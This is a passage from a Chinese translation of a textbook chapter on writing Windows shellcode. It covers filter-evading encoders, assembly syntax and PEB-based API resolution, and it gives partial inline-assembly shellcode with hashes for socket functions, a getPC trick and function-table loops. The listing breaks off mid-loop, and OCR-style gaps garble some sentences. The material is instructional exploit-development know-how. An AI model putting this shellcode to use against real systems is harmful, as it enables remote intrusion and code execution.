7
Windows Shellcode
本书一位作者的女友经常说写shellcode很容易,凭心而论,在Linux上是不太难,但在Windows上还是有一定难度的,有时候会使人垂头丧气。在开始学习本章之前,我们将先回顾一些shellcode的要点,然后研究Windows shellcode那令人着迷的特性。沿着这条主线,我们还将讨论A T&T与Intel句法间的不同,某些Win32漏洞给我们带来的影响,并探讨高级Windows shellcode的发展方向。
句法和过滤器
首先,不使用编码器/译码器又能工作,而体积又很小的windows Shellcode少之又少。无论如何,如果有许多破解代码需要你去完成,你可能会想到在破解代码中采用编码器/译码器API来避免经常调整shellcode。例如Immunity CANV AS就使用了“附加的”编码器/译码器。也就是说,它把shellcode视为一组unsigned long列表,把列表中的每个unsigned long 加上x(x可以通过不断重试随机数来到),经过这样的,会得到一组新的没有坏字符的unsigned long列表。虽然编码器/译码器工作得很好,但还是有人乐意使用XOR、character-或word-based之类的方法。
重要的是:应该牢记译码器只是把x扩展到不同字符范围的y=f(x)函数。如果x仅仅包含小写字母,那么可
以把f(x) 看作是把小写字母转换成二进制字符并转到那里的函数;当然,也可以把f(x) 看作是把小字字母转换成大字字母并转到那里的函数。换句话说,当你遇到设置严密的过滤器(译注:现在有很多程序在接受用户输入时,会过滤一些恶意字符)时,不要急于一次解决所有的问题,尝试使用多重解码,把攻击串分段转换为二进制等方法,可能会更容易些。
在本章,我们不介绍编码器/译码器,并假设你知道怎样把二进制数据复制到进程空间并跳到它。只要你会写Linux shellcode,就应该能编写x86汇编代码。我写windows shellcode 和写Linux shellcode一样,使用相同的工具。从长远来看,熟练掌握几种工具会使编写shellcode变得更轻松。依我之见,不必花大把的钞票购买Visual Studio,免费的Cygwin ()就不错。安装Cygwin可能有点慢,所以你可以试着运行某个程序(gcc,as,或其它),来确认安装是否完成。当然,有些人喜欢用NASM或其它的工具,但我认为这些工具在编辑代码及测试时略有不便。
X86 A T&T 与Intel 句法的对比
在X86汇编代码格式里,A T&T与Intel句法有两个主要的不同点。第一个是A T&T句法使用[助记符source,dest];而Intel使用[助记符dest,source]。当人们用GUN的gas(A T&T 使用),OllyDbg(Intel 使用)或其它的Windows工具查看汇编代码时,这种互相颠倒的形
式可能会使人摸不着头脑。当然,假如你可以灵活转换这种形式,那么在At&T与Intel之间还有另外一
个重要的不同点:寻址。
X86的寻址有如下的形式:两个寄存器,一个位移量,一个比例因子,如1,2,4或8。所以,mov eax,[ecx+ebx*4+5000] (OllyDbg中的Intel 句法)等同于mov 5000(%ecx,%ebx,4),%eax (GUN AS中的A T&T句法)。
我建议大家学习A T&T句法,理由是它的句法清晰(译注:选择最适合自己的,而不是人云亦云。)。考虑一下mov eax,[ecx+ebx],哪个是基址寄存器,哪个是变址寄存器?特别是在缺少特征时(avoid character),更容易引起混淆。出现这种情形的主要原因还是因为寻址的问题:两个寄存器似乎是一样的,可以互换;但实际上如果互换,生成的机器指令将完全不同。
7.1 创建
我们在开始写Windows shellcode时,通常会碰到一个大问题,Win32不提供直接的系统调用。而真正令人惊奇的是,这是由许多人讨论后决定的。正如Windows的一贯风格那样,这个特性有令人讨厌的一面,也有值得称赞的一面。值得称赞的是,它使Win32系统设计者在修复漏洞或扩展内部系统调用API时,不会影响现有的程序。
为了使shellcode在其它程序中运行,需要对其做适当修整,例如:
它必须可以到需要的Win32 API函数,并生成调用表。
为了建立连接,它必须能加载需要的函数库。
它必须可以连接远程服务器,下载并执行后续的shellcode。
它必须确保自己可以正常退出,并使原来的进程继续运行或终止。
它必须能阻止其它线程对它的终止。
如果它想让后续的Win32调用继续使用堆,它还必须能修复一个或多个堆。
到需要的Win32 API函数,一般是指在shellcode中硬编码这些函数的地址,或者是硬编码Windows某个版本的GetProcAddressA()和LoadLibraryA()地址。编写Windows shellcode最快速的方法之一是硬编码函数地址,当然,这种方法不适合特殊的可执行文件或某些版本的Windows。正如SQL Slammer蠕虫显示的那样,硬编码函数地址有时候非常有用。
注解:Slammer 的源代码在互联网上广为流传,它是非常好的、学习硬编码函数地址的例子。
但在shellcode中硬编码函数地址,将使shellcode依赖特定的可执行文件或操作系统版本。为了避免这
种情形发生,我们只能改用其它方法。一种方法是在进程里模拟链接正常的DLL,然后出函数的位置。另一种方法是搜索Kernel32.dll函数使用的内存空间,通过寻进程环境块(Process environment block,PEB)(中国黑客经常用这个方法)出函数的位置。在随后的章节中,我们还将介绍怎样利用Windows异常处理系统(exception-handling system)搜索整个内存空间。
7.2 剖析PEB
下面的例子源自CANV AS中的Windows shellcode,在分析这些代码之前,先介绍一下当时的想法:
可靠性是关键。它必须在没有外部支援的情况下正常工作。
扩展性很重要。当你在某些无法预料的情况下,想定制Shellcode时,就能体会到扩展性的重要了。
长度也很重要—当然是越小越好。但压缩长度需要花时间,也可能使Shellcode显得混乱且难以管理。
因为这些原因,这个例子中的shellcode显得有些臃肿,但接下来你会看到,我们将利用结构异常处理程序(Structured Exception Handler,SEH)捕获shellcode来克服这个问题。如果你花时间学习X86汇编语言并努力研究这个例子,接下来的学习会轻松一些。
注意,这段C源码比较简单,可以在GCC支持的X86平台上进行编辑或编译。现在,我们逐行分析heaoverflow.c,看它到底做了些什么!
7.2.1Heapoverflow.c 分析
如果是写Win32程序,首先要包含windows.h,我们可以从这个头文件中获得一些常量和常见的数据结构。
//released under the GNU PUBLIC LICENSE v2.0
#include <stdio.h>
#include <malloc.h>
#ifdef Win32
#include <windows.h>
#endif
我们用GCC的asm()和.set语句来开始shellcode函数。这些语句不生成实际代码,也不占用程序空间;它们的存在,可以使我们比较方便地管理shellcode中使用的常量。
void
getprocaddr()
{
/*GLOBAL DEFINES*/
asm("
.set KERNEL32HASH,  0x000d4e88
.set NUMBEROFKERNEL32FUNCTIONS,0x4
.set VIRTUALPROTECTHASH, 0x38d13c
.set GETPROCADDRESSHASH,0x00348bfa
.set LOADLIBRARYAHASH,  0x000d5786
.set GETSYSTEMDIRECTORYAHASH, 0x069bb2e6
.set WS232HASH,    0x0003ab08
.
set NUMBEROFWS232FUNCTIONS,0x5
.set CONNECTHASH,  0x0000677c
.set RECVHASH,  0x00000cc0
.set SENDHASH,  0x00000cd8
.set WSASTARTUPHASH, 0x00039314
.set SOCKETHASH, 0x000036a4
.set MSVCRTHASH, 0x00037908
.set NUMBEROFMSVCRTFUNCTIONS, 0x01
.set FREEHASH, 0x00000c4e
.set ADVAPI32HASH, 0x000ca608
.set NUMBEROFADVAPI32FUNCTIONS, 0x01
.
set REVERTTOSELFHASH, 0x000dcdb4
");
这里是真正起作用的代码—位置无关性代码(Position Independent Code,PIC),它的作用是将%ebx设为当前的位置(地址)。设置完成后,其它的局部变量可以参考(引用)%ebx。这和编译器所做的工作类似。
/*START OF SHELLCODE*/
asm("
mainentrypoint:
call geteip
geteip:
pop %ebx
因为我们现在不知道esp指向哪里,为了避免在调用函数时产生错误,我们需要先把它规格化(normal
ize)。即使是在getPC代码里,这也是个问题,因此,为了使%esp指向你的破解,你可能想在Shellcode前部包含sub $50,%esp。但是,如果你占用太大的地方(我们在这里使用0x1000),在试图向栈写数据时,可能会超出范围,导致访问违例(access violation)。当然,我们在这里选择的值,在绝大多数情况下是可以正常工作的。
movl %ebx,%esp
subl $0x1000,%esp
奇怪的是,为了使ws2_32.dll里的一些函数正常工作,%esp必须被对齐(这很可能是ws2_32.dll的漏洞)。我们这样做:
and $0xffffff00,%esp
到这一步,我们就可以着手填充函数表了。首先要在kernel32.dll里到所需函数的地址,我们用三个函数完成这个工作。先把ecx设置为哈希列表中的函数个数,然后进入循环。每次循环时,我们把kernel32.dll(不要忘了.dll)的哈希值以及所需函数名的哈希值传给getfuncaddress()。当程序返回函数地址后,我们把它放入%edi指向的函数表中。注意,这种方法生成的地址格式是统一的。LABEL-geteip(%ebx)总是指向LABEL,这样一来,你就可以用LABEL访问存贮的变量了。
/
/set up them loop
movl $NUMBEROFKERNEL32FUNCTIONS,%ecx
lea  KERNEL32HASHESTABLE-geteip(%ebx),%esi
lea  KERNEL32FUNCTIONSTABLE-geteip(%ebx),%edi
//run the loop
getkernel32functions:
//push the hash we are looking for, which is pointed to by %esi
pushl (%esi)
pushl $KERNEL32HASH
call getfuncaddress
movl %eax,(%edi)
addl $4, %edi
addl $4, %esi
loop getkernel32functions
我们现在有一个函数表,它由kernel32.dll中的函数组成,我们在这个函数表里可以到MSVCRT中的函数。注意,这里也是用循环结构处理的。这里调用了getfuncaddress(),我们下次碰到它时再仔细研究,现在假设它能正常工作就可以了。
//GET MSVCRT FUNCTIONS
movl $NUMBEROFMSVCRTFUNCTIONS,%ecx
lea MSVCRTHASHESTABLE-geteip(%ebx),%esi
lea MSVCRTFUNCTIONSTABLE-geteip(%ebx),%edi
getmsvcrtfunctions:
pushl (%esi)
shell代码
pushl $MSVCRTHASH
call getfuncaddress
movl %eax,(%edi)
addl $4, %edi
addl $4, %esi

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。